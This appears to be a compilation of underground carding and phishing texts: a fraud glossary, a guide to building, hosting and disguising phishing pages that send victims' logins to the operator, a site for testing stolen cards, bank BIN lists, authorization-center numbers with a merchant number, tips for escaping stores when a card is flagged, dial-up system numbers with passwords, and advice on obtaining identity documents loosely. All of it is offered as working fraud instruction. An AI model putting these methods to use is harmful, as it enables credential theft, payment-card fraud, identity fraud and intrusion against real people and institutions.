Merchant Bank - bank, through which occur the payments between the buyer and the salesman
|
||
(frequently it is used as synonym "bank-equirer").
|
||
Cardholder - owner of the card.
|
||
Validity - suitability card using.
|
||
|
||
White plastic - a piece of the pure plastic, where the information is plot.
|
||
CR-80 - rectangular piece of pure white plastic (without the drawing image) with the size of a credit card
|
||
with the magnetic strip.
|
||
Transaction - charege to the credit card
|
||
POS terminal (Point Of Sale terminal) - reading card device, which stands at commercial point.
|
||
PIN-code - the sequence, which consists of 4-12 numbers. It is known only to the owner of card. By
|
||
simple words password for the work with ATM and so on.
|
||
AVS - the card owner address checking. It is used for the confirmation of the card belonging exactly to its
|
||
holder.
|
||
"Globe" - card holographic gluing with the image of two hemispheres (MasterCard).
|
||
Pigeon (hen) - card holographic gluing with the image of the flying pigeon (VISA).
|
||
Reader - information reading device for the readout from the magnetic strip of card.
|
||
Encoder - read/write device for the magnetic track of the card.
|
||
Embosser - card symbol extrusion device.
|
||
Card printer - card information printing device.
|
||
Exp.date - card validity period.
|
||
Area code - the first of 3 or 6 numbers of the card owner phone.
|
||
CVV2, cvv, cvn - 3 or 4 additional numbers, which stand at the end of the number of card.
|
||
ePlus - program for checking the cards.
|
||
BIN - first 6 numbers of the card number due to those it is possible to learn what bank issued out the card
|
||
and what is the type of this card (ATM-card, credit, gold, etc.). Synonym of word "Prefix".
|
||
Chargeback - the cardholder's bank voids the removal of money from its card.
|
||
Dump - information, which is written to the magnetic strip of the card, it consists of 1,2 or 3 tracks.
|
||
Track (road) - a part of the dump with the specific information. Every 1-st track is the information about
|
||
the owner of the card, 2-nd track - information about the owner of card, about the bank issued the card,
|
||
etc. 3-rd track - it is possible to say - spare, it is used by stores for the addition of the points and other.
|
||
Slip - synonym to the word "cheque" (conformably to card settlings).
|
||
Card balance - money sum that finding on the card account.
|
||
MMN Mothers Maiden Name, important if you want to change the billing address
|
||
some terms:
|
||
Automated Clearing House (ACH) - the automated clearing house. The voluntary association of
|
||
depositors, which achieves clearing of checks and electronic units by the direct exchange of means
|
||
between the members of association.
|
||
|
||
Continuous Acqusition and Life-cycle Support (CALS) - the integrated system of the production
|
||
guaranteeing, purchase and expluatation. This system makes possible to computerize all data about the
|
||
design, development, production, servicing and the propagation of the production.
|
||
Debit Card - Card, which resembles the credit card by the method of using, but making possible to realize
|
||
direct buyer account debiting at the moment of the purchase of goods or service.
|
||
Delivery Versus Payment (DVP) - the system of calculations in the operations with the valuable papers,
|
||
which ensures the mechanism, which guarantees that the delivery will occur only in the case of payment
|
||
and at the moment of payment.
|
||
Direcht debit - payment levy method, mainly, with the repetitive nature (lease pay, insurance reward, etc.)
|
||
with which the debitor authorizes his financial establishment to debit his current account when obtaining
|
||
of calculation on payment from the indicated creditor.
|
||
Electronic Fund Transfer (EFT) - the remittance of means, initiated from the terminal, telephone or
|
||
magnetic carrier (tape or diskette), by transfer of instructions or authorities to financial establishment, that
|
||
concern to the debiting or crediting of the account (see Electronic Fund Transfer/Point of Sale -
|
||
EFT/POS).
|
||
Electronic Fund Transfer/Point of Sale - EFT/POS - debiting from the electronic terminal, for the means
|
||
transfer purpose from the account of a buyer into the payment on the obligations, which arose in the
|
||
course of transaction at the point of sale.
|
||
Integrated Circuit (IC) Card - It is known also as chip card. Card equipped with one either several
|
||
computer micros-chip or integrated microcircuits for identification and storing of data or their special
|
||
treatment, utilized for the establishment of the authenticity of personal identification number (PIN), for
|
||
delivery of permission for the purchase, account balance checking and storing the personal records. In
|
||
certain cases, the card memory renewal during each use (renewed account balance).
|
||
Internet - the open world communication infrastructure, which consists of the interrelated computer
|
||
networks and which provides access to the remote information and information exchange between the
|
||
computers.
|
||
International Standardisation Organisation (ISO) - International organization, which carries out
|
||
standardization, with the staff office in Geneva, Switzerland.
|
||
Magnetic Ink Character Recignition (MICR) - System, which ensures the machine reading of the
|
||
information, substituted by magnetic inks in the lower part of the check, including the number of check,
|
||
the code of department, sum and the number of account.
|
||
RSA - the coding and autentification technology, developed in 1977 in MIT by Rivest, Shamir and
|
||
Adel'man, which subsequently opened their own company RSA Data Sechurity, Inc., purchased recently
|
||
by the company Security Dynamics Technologies, Inc.
|
||
Real-Time Gross Settlement (RTGS) - the payment method, with which the transfer of means is achieved
|
||
for each transaction in obtaining of instructions about the payment. Decrease the risk with the payment.
|
||
SSN (Social Security Number) - nine-digit number issued in US only to an individual. Its primary
|
||
purpose is to track individuals for taxation purposes.
|
||
Smart Card - card equipped with integrated circuit and microprocessor, capable to carrying out the
|
||
calculations.
|
||
System risk - the risk, with which the incapacity of one of the payment system participants either
|
||
|
||
financial market participants as a whole to fullfill their obligations causes the incapacity of other
|
||
participants or financial establishments to fulfill its obligations (including obligations regarding the
|
||
realization of calculations in means transfer systems) properly. This failure can cause significant liquidity
|
||
or crediting problems and, as result, it can cause loss to the stability of financial markets (with the
|
||
subsequent action on the level of economic activity).
|
||
Truncation - procedure, which makes it possible to limit the physical displacements of a paper document,
|
||
in the ideal version, by the bank of the first presentation, by the replacement by electronic transfer of
|
||
entire or part of the information, which is contained on this document (check).
|
||
Tipper - a machine designed for use with PVC plastic cards to create raised print. (basically a plastic card
|
||
embosser)
|
||
COB - Change of billing. Used for online carding, to change the billing address of a card since Online
|
||
Stores will only ship large items if the billing and shipping address match. You can obtain these from
|
||
vendors in CP. Once you have this, you can easily change the card address to that of your drop so that the
|
||
stores ship items to your drop, since the billing and shipping addresses will match.
|
||
DOB - Date of birth of the card owner
|
||
Reply With Quote
|
||
Casino Scam
|
||
1. Design/Getting a scam page
|
||
So to start you will need a decent scam page, one that looks life the real deal a
|
||
nd will fool people into entering there details. Scam pages come in diffent forms
|
||
and sizes from a single page to multiple ones but as long as yours is accurate it
|
||
should work well. I have seen many scam pages or spam mail with countless spelling
|
||
and grammar mistakes, I advise everyone to use a spell checker and read through it a few times, if your
|
||
the language you are using is bad then ask someone who is
|
||
fluent in that language to check it.
|
||
Designing your own scam page:
|
||
I do not know much about designing your own apart from the basics, there are
|
||
others who are advanced and can add things like security lock and incorrect entry errors
|
||
but for now you should start off with basic stuff.
|
||
1. Go to the webpage that you are wanting to replicate.
|
||
2. File, view source, notepad or similar program should open with alot of text.
|
||
3. Save somewhere safe and close.
|
||
4. Open and copy the source to a web design program, i would suggest
|
||
'Microsoft Front Page Editor' as it can be downloaded for free and is easy to use.
|
||
5. Edit the webpage to suit your needs.
|
||
6. Go back to the source and now you will have to edit a few lines of it so
|
||
that the entires are sent to you ( I cannot at this time remember what lines
|
||
to edit so i will edit this shortly)
|
||
Or to make the above a little bit more easier, you can download the following
|
||
|
||
program and rip an entire site for you to play around with in your choosen
|
||
web design program..
|
||
BlackWidow - http://sbl.net/Downloads/BlackWidow%20Setup.exe
|
||
It has a 30 day trial restriction but a quick net search and you should be
|
||
able to get a crack.
|
||
Using free scam pages:
|
||
Here are some free scam pages, thanks to Magister and blacksabbath who
|
||
spent time creating them and gave them away at no cost, they are pretty
|
||
decent and should work well. There are full versions of the e-gold and
|
||
paypal scam page so if you would like that you can buy them
|
||
off Magister.
|
||
E-gold - http://www.glcco.com/invision/source...old%20LITE.zip
|
||
Paypal - http://dataonesoftware.com/html/them...les/PayPal.zip
|
||
eBay - coming soon
|
||
AOL - http://blacksabbathpagez.tripod.com/aolsc.zip
|
||
BankOne - http://blacksabbathpagez.tripod.com/bankone.zip
|
||
Copy and past the links into a new browser as hotlinking might not work.
|
||
The files are zipped so use winrar or a similar program to unpack them.
|
||
Buying scam pages:
|
||
You can by very proffesional scam pages from a few vendors, price varies on how
|
||
good the page is, some vendors i would suggest are:
|
||
Magister (CP)
|
||
Aphrodite (CP)
|
||
1.1 Setting Up Scam page (Getting details sent to email, icq etc)
|
||
To make the details get sent to you, you will have to edit a few lines in one
|
||
file which has to be done to the ones you are using. In the files specified
|
||
below find the line mail("you@you.you") and change the part in brackets
|
||
to your email.
|
||
E-gold - access.htm is the start page, set mail address at acct.php
|
||
Paypal - login.html is the start page, set mail address at paypal.php
|
||
eBay - coming soon
|
||
AOL - aol.comsupport is start page, set mail address at process.php
|
||
BankOne - SecurityUpdate is the start page, edit same line when viewing source
|
||
|
||
on SecurityUpdate
|
||
1.2 Hosting Scam page
|
||
You will need to find a stable anon host which will allow you to keep your
|
||
scam page up for a few days, most hosts will take it down as soon as they
|
||
notice or get complaints about it so choosing a good host is important.
|
||
OffShore Hosts -Look for a host that is situated in a different country
|
||
as they do not really care what it is used for and have slow/weak spam and
|
||
fraud control, offshore hosts are always good for this sort of work.
|
||
Radmins - If you have some spare money i would suggest ivesting in one or
|
||
two radmins, radmins are computers you have full remoute access to so you
|
||
can do whatever you want with them. A radmin with a good speed can do
|
||
many things from hosting to spamming and browse for them so they are good
|
||
investment for scam page users. Radmins can last for a long time depending what
|
||
they are used for but for scam pages the average is around 2weeks which is more
|
||
than enough time for your scam page. Look around and you should be able to
|
||
find a reputable seller of these however be careful as there are alot of rippers
|
||
selling these.
|
||
Bulletproof Hosts - I do not know much about this type of host but it seems some
|
||
people like to it to host scam pages because of it being anon,fast, reliable and it
|
||
allows its users to advertise by spam unlike some hosts which will take your site
|
||
down if spam complaints are recieved.
|
||
Other hosts - Look around and spend some time trying out different hosts and you
|
||
are sure enough to find a few good ones for scam pages, use a CC to card the
|
||
accounts as it would be stupid to pay for it unless its reliable and anon.
|
||
1.3 Other
|
||
Here are a few methods to make your scam page look even more authentic,
|
||
I have not tried these but here is some information from those that have..
|
||
Fake Address bar -
|
||
You create an activex floating white window the size of the address bar and
|
||
place the x/y values of it where the normal address bar would be. Works perfect,
|
||
however if they're not in full screen mode ur FUCKED.
|
||
Example - http://www.doxdesk.com/personal/post...3-ie/bank.html
|
||
Also depending on resolution the effect varies.
|
||
Fake URL -
|
||
You can mask the URL of your host by using this old (but still working) technique
|
||
http://<realurl>%00%01@<fakeurl>/
|
||
|
||
So
|
||
www.paypal.com/" target="_blank" rel="nofollow">http://www.e-gold.com.@www.paypal.com/
|
||
Magic!!
|
||
It takes you to the paypal site but shows www.e-gold.com in the address bar...
|
||
Fake SSL certificate -
|
||
To get the lock at the bottom right of your screen on your scam page you will
|
||
need to use a host that gives you the certificate as part of the package, the
|
||
user who is viewing the scam page will have to click yes on the alert box that
|
||
comes up and the padlock will be shown, this is good for sites like e-gold which
|
||
tell the user to check for the padlock before logging in.
|
||
http://www.apache-ssl.org is a good site to get you started with a host with ssl cert.
|
||
CHECKING FOR AVS (CARD AND BILLING ADDRESS
|
||
MATCH)
|
||
If you want to check a credit card for verification match up on avs (registered biling address) and credit
|
||
card number.
|
||
Then please feel free to use the web site: get up and donate charity site
|
||
weblink:www.getup.org.au/donate
|
||
This site approves when there is a direct match between the card details and billing address.
|
||
Billing address and card details valid match is vital when trying to a card and ship good's online.
|
||
Cvv Carding Tutorial #3
|
||
INTRODUCTION:
|
||
C=The *use* of our credit system for personal gain & financial freedom!
|
||
H=The practice of accessing *secure* computers with innovative techniques/skill.
|
||
I=Assuming or establishing a *new* guise by "creating" an identity on paper.
|
||
P=The know-how and interest in the telecom industry and the services it provides
|
||
Hi-?!
|
||
Issue two already! I just finised #-01 about a week ago, and already I feel
|
||
I have enough text & information of interest to warrant a quick follow-up to
|
||
#-01! ....so here it is, #-02! I hope #-01 has provided those who have read it,
|
||
|
||
something to think about and/or "work on". If not, well then perhaps this one
|
||
will. If not, then perhaps a monastery or convent would be a better place for
|
||
the likes of you!!
|
||
II.> PART 2-
|
||
\|/
|
||
?[>*C*H*I*P*=>!
|
||
*C* - CARDING> /|\
|
||
Intro:
|
||
Below are as many BIN's as I could round up. Each one is listed according to
|
||
the Banks ID No. (BIN) - which are the first 6 nos. of a CC. (Credit Card).
|
||
Of course, the first no. indicates a Visa (4) or a Mastercard (5). Bin's aren't
|
||
all that important to know, but can be if you NEED to know the name of a bank
|
||
that issued the CC no. you have.
|
||
So FYI and bemusement, here's that information-
|
||
BANK IDENTIFICATION NUMBERS:
|
||
^^^^ ^^^^^^^^^^^^^^ ^^^^^^^
|
||
~~VISA BINs~~
|
||
^^^^ ^^^^
|
||
*4000-4999*
|
||
401903 = Bank of America
|
||
402400 = Bank of America
|
||
402402 = Bank of America (Gold)
|
||
403200 = Household Bank
|
||
4040?? = Connecticut National Bk
|
||
4040?? = Wells Fargo
|
||
4050xx = 1st Interstate
|
||
4052?? = First Cincinnati Bank
|
||
405209 = First Nationwide Bank
|
||
4060?? = Navy Federal Credit Union
|
||
407000 = Security Pacific Ntl. Bank
|
||
407129 = Colonial National Bank
|
||
411427 = Chemical Bank
|
||
412174 = Signet Bank/Virginia
|
||
412185 = Citibank/Signet?
|
||
41235? = Commerce Bank
|
||
4128xx = Citibank
|
||
416818 = Great Western Bank
|
||
4131?? = State Street Bank
|
||
4170?? = Beneficial National
|
||
417129 = Colonial Bank
|
||
4188?? = Ohio Savings & Loan
|
||
4211?? = Chemical Bank
|
||
4215?? = Marine Midland
|
||
422591 = Chase Manhattan
|
||
4226xx = Chase Manhattan
|
||
4231?? = Chase Lincoln 1st Classic
|
||
4232?? = Chase Lincoln 1st Classic
|
||
|
||
4237?? = Cicero Credit
|
||
4241?? = Natl. Westminester Bank
|
||
425043 = First Chicago Bank
|
||
425330 = Bank of N.Y./Consumer Edge
|
||
425451 = Chemical Bank
|
||
4262xx = Corestates Bank of DE
|
||
427138 = Citibank
|
||
4302?? = HouseHold Bank
|
||
431068 = Bank-Layfayette/Imprl Svg's
|
||
4312?? = Barnette Credit
|
||
431301 = Valley Federal S&L
|
||
431663 = Glendale Savings & Loan
|
||
431772 = Gold Dome
|
||
4321?? = Mellon Bank
|
||
433213 = Bank of Indiana
|
||
433222 = Far West Virginia
|
||
4349?? = First Bank of America
|
||
436800 = Sovran Bank/VA
|
||
438733 = Bank One
|
||
438760 = More Bank
|
||
440121 = Gary Wheaton
|
||
440862 = Charleston of Indiana
|
||
441712 = Mellon Bank
|
||
442813 = Bank of Hoven
|
||
442843 = " " " "
|
||
44288? = Colonial National Bank
|
||
443600 = Security Bank of Monroe
|
||
4448?? = First National Bank - RI
|
||
46165x = First Interstate Bank
|
||
4626?? = Indiana National Bank
|
||
4646?? = Mercantile
|
||
4672?? = Mercantile Bank
|
||
467362 = First National Bank;
|
||
467807 = Home Fed Svg's/1st Card
|
||
467808 = Home Fed Svg's/1st Card
|
||
468120 = Harris Trust Savings
|
||
4696?? = Credit of Kansas
|
||
4718?? = Colorado Bank
|
||
4734?? = Madison Bank
|
||
480012 = Valley Federal S&L
|
||
4811?? = Bank of Hawaii
|
||
4825?? = First Wisconsin
|
||
4897?? = Village Bank of Cinn., OH _________
|
||
/ Here are \
|
||
4929?? = Barclay Bank/DE | what the |
|
||
^ | holograms |
|
||
| | SHOULD show!|
|
||
| \_____ _____/
|
||
*BIN* = #### ## (1st 6 nos.) Y
|
||
| |
|
||
| _____________________________|______
|
||
|
||
| [ | ]
|
||
^ | MASTERCARD INTERNATIONAL___v____ |
|
||
| | [ v+===\*] |
|
||
/--<+-->| 5555 1234 5678 9012 [ | I|] |
|
||
| | ^^^^ ^^ ] Q I|] |
|
||
| +==>| 6512 11-91 TO 11-92 [ /|\ I|] |
|
||
| | | ^^^^ [_/^\_ I=] |
|
||
| | | JUSTIN CASE MD [________] |
|
||
| | | |
|
||
| | [____________________________________]
|
||
| |
|
||
| *-==>IBN* = #### (above cardholder's name)
|
||
| |
|
||
| |
|
||
A>|M/C's |
|
||
==v===== v
|
||
1st- X IBN.
|
||
###### X #### Bank/Institution Name
|
||
^^^^^^ ^ ^^^^ ^^^^ ^^^^^^^^^^^ ^^^^
|
||
5000-5399
|
||
=========
|
||
5031?? = #? -Maryland Bank MBNA
|
||
5127?? = 1015 -?
|
||
520400 = 1006 -Security Pac Ntl Bk
|
||
521142 = 6142?-Chemical Bank
|
||
521531 = 6207 -Marine Midland
|
||
521795 = 1033?-Manufacturers Trust
|
||
5218?? = #? -Citibank N.A.
|
||
523080 = #? -Harris Trust Svgs
|
||
5233?? = 1226 -Huntington Bank
|
||
524200 = 6066 -Chevy Chase F.S.B.
|
||
5250?? = 1260 -?
|
||
525400 = #? -Bank of America-ca
|
||
525402 = #? -Bank of America-pa
|
||
5263?? = 1263 -Chemical Bank
|
||
5272?? = #? -Connecticut Ntl
|
||
5273?? =p #? -Bank of America
|
||
527706 = #? -FIB
|
||
52820? = #? -Wells Fargo
|
||
5286?? = #? -Chase Lincoln 1st
|
||
5286?? = 1286 -Home Fed Savings
|
||
528707 = #? -Valley National Bank
|
||
529107 = 1001 -Signet Bank/VA
|
||
529801 = #? -Bank One
|
||
5317?? = #? -Norwest Financial
|
||
5323?? = #? -Bank of New York
|
||
532903 = 6017 -Maryland Bank; MBNA
|
||
532956 = 6017 -Maryland Bank; MBNA
|
||
539655 = 7462 -Universal Bank/AT&T
|
||
539855 = 7462 -Universal Bank/AT&T
|
||
5400-5999
|
||
=========
|
||
|
||
540126 = 6017 -Valley Federal S&L
|
||
540193 = 8084 -Fidelity Investors Bk
|
||
541037 = 6037 -Wells Fargo NA
|
||
541065 = 6785 -Citibank NA
|
||
541085 = 6785 -Citibank NA
|
||
541116 = #? -1st Financial/Omaha
|
||
541169 = 1169 -1st Financial/Omaha
|
||
5412?? = 6037 -?
|
||
5414?? = #? -Ntl. Westminster Bank
|
||
5415?? = #? -Colonial National Bk
|
||
541586 = 1586 -HouseHold Bank
|
||
541711 = 1711 -?
|
||
541919 = #? -FIB
|
||
541933 = 1933 -Bank of Hoven
|
||
541934 = #? -Berthoud Ntl Bk
|
||
542096 = #? -Colonial Bank
|
||
542143 = 2143 -?
|
||
54224x = 1049 -MHT
|
||
542418 = 1065 -Citibank
|
||
5432xx = #? -Bank of New York
|
||
5455?? = #? -PSFS
|
||
5464?? = 1665 -Chase Manhattan
|
||
546598 = " " -Chase Manhattan
|
||
5601?? = 1352 -FIB
|
||
5678?? = 1207 -Marine Midland
|
||
591210 = 6282 -Wells Fargo
|
||
xx= All nos. in series are that bank's.
|
||
??= Unsure of full IBN/BIN no.
|
||
B> - Authorization Centers - ("AC")
|
||
Intro: Authorization Centers are located throughout the country and are in just
|
||
about every financial institution that is involved in the distribution and/or
|
||
issuance of credit cards. Of course, Visa and M/C have some as well.
|
||
Citibank, First Interstate Bank and Bank of America all have their own AC's
|
||
available to their merchants. There are however many other AC's that provide the
|
||
same types of services to their merchants. It is the merchant who is 'really'
|
||
providing the services though. It is the merchants responsibility in most cases
|
||
to determine that a credit card is valid. On top of that they are also even
|
||
offered a whole $50 if they assist in the conviction of anyone suspected of
|
||
using a stolen/forged card. $50!! Hardly worth it, so most don't even try....
|
||
One of the quickest ways a card is checked is by accessing an AC through a
|
||
card reader. Verifone is perhaps the largest mfg. of these devices, which are
|
||
used by most retail stores or restaurants for CC verifications.
|
||
The telephone no. that is called using one of these card readers is the
|
||
first one in which I've listed below. You can also log onto this "carrier" via a
|
||
a modem, but I've yet to figure out what the necessary input is to utilize this
|
||
service on my computer. A touch tone phone suffices however, and the required
|
||
input is listed below for using this particular AC (Authorization Center).
|
||
|
||
One other thing to note here is that whenever you are at a store/merchant
|
||
and using a shady (at best) card, be especially alert to the merchant and/or
|
||
cashier when they are getting verification of the transaction. If they use
|
||
the telephone and voice in the request for the authorization, then listen
|
||
for "Code-10", and if you hear them say this at any time- GET THE HECK OUT!!
|
||
If they use a card reader for the transaction and get something like "CALL
|
||
CENTER" on the read out, then remain calm and ask what the problem is, and if
|
||
at anytime they are out of sight or on the phone with the center for
|
||
any prolonged amount of time, then again- GET OUT OF THERE!!
|
||
A "code-10" is a merchant's signal to an authorization center that they are
|
||
suspicious of the card user. If you are using an AMEX, then run out of there
|
||
twice as fast, because AMEX calls the police from their authorization center.
|
||
V/MC don't usually call the police, but AMEX will use stall tactics while the
|
||
police are on the way. (One way is to ask to speak with you and then ask you
|
||
some rather lengthy detailed questions, like primary cardholders name, SSN &
|
||
Mother's Maiden). You can always just look out the window and exclaim, "Hey!
|
||
someone's stealing/towing my car!" and then leave pronto!....
|
||
** Use the following telephone nos. before going into ANY store to use a card.
|
||
They are worth the extra minute or so to be sure that the card is still valid!
|
||
1>.
|
||
800/228-1111 = On-Line Auth. Center (300baud)/Touchtone Ok too.
|
||
Merchant No.#Card No.#Exp.Date#Amt# **push the "#" after each entry**
|
||
(Merch No.=A 16 digit-#; 1st no. is 4 or 5 & can often be found on carbons
|
||
just above the merchants name.)
|
||
2>.
|
||
800/228-2211 = This is the voice authorization number of the same group
|
||
who operate the one above. I am fairly sure that these two are operated by
|
||
M/C and Visa, and I do know that the merchant nos. that work on one, also
|
||
work on the other. This AC, is also useful for obtaining a BIN no., and/or
|
||
the issuing bank of a particular credit card. Just ask the verification op.
|
||
for merchant services and she will connect you to their information dept.
|
||
3>.
|
||
800/554-2265 = Bankcard Auth. Ctr.
|
||
For MasterCard: 1067#52#10#CardNo#Exp#$$$$#
|
||
For Visa: 1067#24#20#CardNo#Exp#$$$$#
|
||
4>.
|
||
800/528-2121 = American Express Auth. Ctr. (Amex only)
|
||
Live ops! - Give: (**Merch#+card#+expdate+amt) **=5041035528
|
||
Merch. No. is for: Popolos Ristorante; 8115 Melrose LA,Ca. 90069
|
||
5>.
|
||
800/327-3584 Authorization Center for Visa & M/C
|
||
***** Merchant No. format is: 101 ### ###; #= unknown no.
|
||
6>.
|
||
800/645-9120 Merchant Service Center for Citibank; NA
|
||
****** Merchant No. format is: ### ### ### ### (the one I had is no longer
|
||
|
||
[=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=]
|
||
Glossary of terms used in the preceding text file.
|
||
- Authorization Center <AC> = Voice and/or Data terminal which gives merchants
|
||
varying "approval codes" on purchase requests. Some also provide info such as
|
||
BIN No. and Bank Name of a particular card.
|
||
- Bank Identification Number <BIN> = Issuing bank's identifier. This number is
|
||
assigned by the FDIC, I think. The No. can be found on Visa's (unraised)
|
||
just above the CC number. Some larger banks will have several BIN's, because
|
||
they own several smaller financial institutions that issue credit.
|
||
Choice Visa is one example. They are owned by Citibank, but have there own
|
||
seperate BIN. Another example is First Card, which handles Home Fed Savings
|
||
credit accounts.
|
||
- International Bank Number <IBN> = Bank Identifier on a national level. The
|
||
number is used by various merchants to verify/approve a cardholder when they
|
||
have placed a telephone or mailorder request. It is the 4 digit no. just
|
||
above the persons name, and is only found on M/C's (raised, 'usually' starts
|
||
with a 1,6,7 or Cool & on Amex cards (unraised, usually starting with a 6).
|
||
Though not an absolute, experience has shown that IBN's starting with 6,7 or
|
||
an 8, are usually preferred accounts. IBN's that begin with a 1 or 2 are
|
||
usually found on classic accounts. (see list above)
|
||
- CV = Classic Account; -these two letters can be found on most Visa cards
|
||
that are "Classic Accounts". They usually have a credit limit of some-
|
||
where between $500 to $5000+, though some can go up to $10,000 for long term
|
||
customers.
|
||
- PV = Preferred Acct. or "Gold Card"; -usually limits of 5,000-10,000+. These
|
||
cards are 'usually' found on Gold or 'preferred Visa Cards, and are worth
|
||
their weight in 'gold' as well.... Some can go up to $40,000 or more!!
|
||
++Any additional articles or noteworthy texts to be submitted for inclusion
|
||
in the future issues of *CHIP*, should include a handle &/or method of contact
|
||
for the author. Though not required, this will help in verifying the info &
|
||
assure a timely publish date.
|
||
Our method of contact is simple. Call 800-755-3493, press 9657 before end of
|
||
greeting and give us some idea of what you know or have access to and we will
|
||
consider your request. The only other method we feel safe with is via a typed
|
||
letter sent to: *JC/CA* 15445 Ventura Blvd. #128; Sherman Oaks, CA 91403. We
|
||
need more up to date H/P info since this is not our best subject and since
|
||
there are many others more knowledgable in this field than we are... So let us
|
||
know! ...Otherwise we may change *CHIP* to CIA! & become Anarchist!... then
|
||
again, it's probably too late for that, since we do as we want anywayz..-JC/CA>.
|
||
III.> PART 3:
|
||
\|/
|
||
?[>*C*H*I*P*=>!
|
||
/|\
|
||
*H* - HACKING>
|
||
Intro:
|
||
|
||
Hacking Numbers & Carriers! These may also be added to the EXTENDER.DAT
|
||
files of most Hacking/Phreak programs, when reliable carrier no(s) are
|
||
needed.
|
||
* Telephone No= Pwd &/or Locale * Telephone No= Pwd &/or Locale
|
||
------------------------------- ------------------------------
|
||
206-863-0015= ? 800-325-1171= ?
|
||
206-863-3963= ? 800-325-1340= ?
|
||
206-863-3700= ? 800-325-1341= ?
|
||
206-863-0426= ? 800-325-1342= ?
|
||
206-863-1150= ? 800-325-1436= ?
|
||
206-863-1183= ? 800-325-1401= ?
|
||
208-772-6134= ? 800-325-1471= ?
|
||
619-723-8996= ? 800-621-3224= ?
|
||
919-323-9888= ? 800-621-3592= ?
|
||
214-263-3109= ? 800-621-3678= ?
|
||
206-825-7206= ? 800-621-3679= ?
|
||
206-825-7598= ? 800-228-1111= ?M/Card-Visa
|
||
206-825-7621= ? 800-334-4000= ?Message system
|
||
206-825-7781= ? 212-370-4303= Cosmos NY
|
||
206-825-6132= Try ctrl-x for prompt 313-855-0203= CosmosMI:ONNERR
|
||
206-825-7905= ? 213-892-7211= Compuserve
|
||
206-825-9000= Montgomery Ward 213-355-5241= Electronic News
|
||
206-833-5329= Wont connect properly 800-555-8677= Ma Bell
|
||
206-825-6234= Oil Company 800-424-9440= Bank
|
||
206-931-4879= Auburn High 213-932-8294= Secret Service
|
||
206-872-4690= Kent High 405-332-9998= Belle Co-puter
|
||
414-476-8010= Milwaukee High 713-241-6421= Shell Oil
|
||
206-771-6551= Tacoma School.P/w=VAXE 713-526-0149= Hospital
|
||
206-825-7720= Compuserve 913-343-1042= Calling card
|
||
312-499-2100= Sears 502-588-6020= Uof Louisville
|
||
617-683-2119= Hospital 502-588-6036= " " "
|
||
800-424-9494= Telenet 213-417-8997= TWA
|
||
800-421-2123= ? 800-828-6321= IBM Computer
|
||
800-558-0001= AGRODATA 206-828-3598= Microsoft
|
||
206-357-7350= Ctrl-data-publishing 800-526-3174= RCA Mainframe
|
||
414-354-0010= T.Y.M.E. Corp. 312-937-1210= ?
|
||
202-553-0229= PENTAGON 206-833-6352= ?
|
||
202-697-0814= PENTAGON 206-833-6364= ?
|
||
304-376-2488= Savings & Loan 202-553-0229= T.A.C
|
||
313-964-2018= Charge card Association N/A-950-1288= AT&T Info Service
|
||
206-833-6133= ? 206-833-6134= ? *P/w For Milwaukee High GNIK, Code:4,71
|
||
800-522-5465= Lab Link **P/w For Ma Bell 948DJU47R
|
||
202-694-0004 User Id= Cohen
|
||
===========================================================================
|
||
====
|
||
ABC East Coast feed 213 935-1111
|
||
Try this # 206-825-2377, hit return a couple of times and you'll get ENTER
|
||
PASSWORD then hit ControL 'U' a few times then hit return. you in
|
||
simple.. Or try mashing keys until it says 'ART GAMBLIN - CHEVROLET'...
|
||
III.> PART 4-
|
||
|
||
\|/
|
||
?[>*C*H*I*P*=>!
|
||
/|\
|
||
I - IDENTITIES
|
||
Intro:
|
||
DMVRULES.TXT
|
||
What the DMV would rather you DIDN'T know:
|
||
<from the Standard Operating Procedures - SOP of the DMV/CA.> 10-01-90
|
||
13.301a:
|
||
"...If the applicant is unable to provide a signature within the margin, the
|
||
application should nevertheless be accepted, and there is NO need to prepare
|
||
another application..."
|
||
13.301b:
|
||
..."Usual signature" means the signature the applicant uses when signing
|
||
letters, "checks", etc. It need not correspond exactly to the full name as shown
|
||
at the top of the application or photo document & and in fact, seldom will. If
|
||
the signature includes a nickname not shown in the full name, or if it differs a
|
||
lot from the full name, the employee should indicate "usual signature" in the
|
||
space at the top of application.
|
||
13.301c: ***important***
|
||
If the applicant's, "usual signature" is "printed", it should be ACCEPTED on
|
||
the application.
|
||
13.307: Birth Date Verification
|
||
Any Driver license showing birth date is acceptable in lieu of a birth
|
||
certificate (bc). If the bc is unobtainable, certain other documents may be
|
||
accepted in lieu of the bc. The acceptability of other documents should "NOT BE
|
||
DESCRIBED TO THE APPLICANT" until it is reasonably ascertained that their birth
|
||
record is unobtainable.
|
||
The following ARE accepted forms of identification as listed in the
|
||
DMV Employees Driver License Tech. Manual:
|
||
<<< in order of preference.... their preference, of course! >>>
|
||
1>. Birth Certificate or any "certified Birth Record/Registration".
|
||
2>. Driver License, from CA. or an ID card issued by the State of CA.
|
||
3>. All other state Drivers licenses, Id cards, to include Military too
|
||
4>. Any foreign governments D/L and/or ID. Must have DOB listed on it.
|
||
5>. Passports, Visas, immigration/alien docs or reg. cards. w/ DOB.
|
||
6>. Dept. of Corrections or Youth Authority docs, signed by PA/CS/CAS.
|
||
7>. Driver Education driving permits & training certificates, w/ DOB's.
|
||
8>. Out of State ID cards -NOT necessarily issued by the state's DMV.
|
||
9>. US Census Records. Auth. by 13007.5 VC; ** contact Census Bureau **
|
||
10>. School Cerification (form dl-48); used ONLY when all other forms of Proof
|
||
of ID have been exausted; *contact any local school to get rcrds*. This
|
||
is also an accepted form of ID for SSA (Social Security Administration).
|
||
** Note:
|
||
|
||
Tax forms are not accepted with any degree of certainty by the DMV. It's
|
||
always best to use what they see "thousands of time a day", since these docs
|
||
are usually less scrutinized.
|
||
If you have trouble getting the above docs, then just go to Nevada. In NV
|
||
they take almost every Type of ID known in the US. Included in what they will
|
||
accept are W-2 tax forms & 1099 gift-tax forms. Armed with one of these and a
|
||
baptismal certificate you can get a NV ID/DL with no problem, and on the same
|
||
day as well. NV is one of the few states that accept Baptismal Certificates.
|
||
.... and Just'in Case you ddidn't know that, Bap. Certs. can be found at most
|
||
at most religious bookstores & supply stores, especially Catholic.
|
||
An added bonus is that they DO NOT fingerprint in NV. You also have the
|
||
option of having your ssn imprinted on the ID card, which is helpful for back-
|
||
up ID. You just tell them your ssn and they'll include it. One bad thing is
|
||
that there is no Exp. date on their ID cards, however there Driver Lic's. do
|
||
have exp. date's and are worth the extra "drive" around the city to get. The
|
||
